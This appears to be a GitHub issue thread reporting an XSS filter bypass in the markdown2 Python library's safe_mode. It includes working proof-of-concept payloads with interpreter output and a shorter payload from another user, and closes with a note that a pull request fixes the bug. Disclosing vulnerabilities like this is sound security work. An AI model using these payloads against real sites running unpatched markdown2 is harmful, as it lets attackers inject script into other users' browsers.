Filter bypass leading to XSS

[xymfrx]

Here is the a PoC for latest version (2.3.8)

>>> import markdown2
>>> markdown2.markdown('<http://g<!s://q?<!-<[<script>alert(1);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>alert(1);/*](http://g)->a>', safe_mode=True)
'<p><http://g<!s://q?<!-&lt;<a href="http://g"><script>alert(1);/*</a>->a><http://g<!s://g.c?<!-&lt;<a href="http://g">a\\*/</script>alert(1);/*</a>->a></p>\n'
>>> 

And via safe_mode='escape'

>>> import markdown2
>>> markdown2.markdown('<http://g<!s://q?<!-<[<script>alert(1);/\*](http://g)->a><http://g<!s://g.c?<!-<[a\\*/</script>alert(1);/*](http://g)->a>', safe_mode='escape')
'<p><http://g<!s://q?<!-&lt;<a href="http://g"><script>alert(1);/*</a>->a><http://g<!s://g.c?<!-&lt;<a href="http://g">a\\*/</script>alert(1);/*</a>->a></p>\n'
>>> 

[TheGrandPew]

did you manage to get this fixed? cause i also have an xss to report and i was wondering if i should bother.

[nicholasserra]

@TheGrandPew No I don't think so. Feel free to open a separate issue, or piggyback off this one if you think they're related. Thanks!

[avramit]

A much shorter payload:

<ftp:[<script>alert(1);//]()><ftp:[</script>]()>

[xurble]

#350 Fixes this.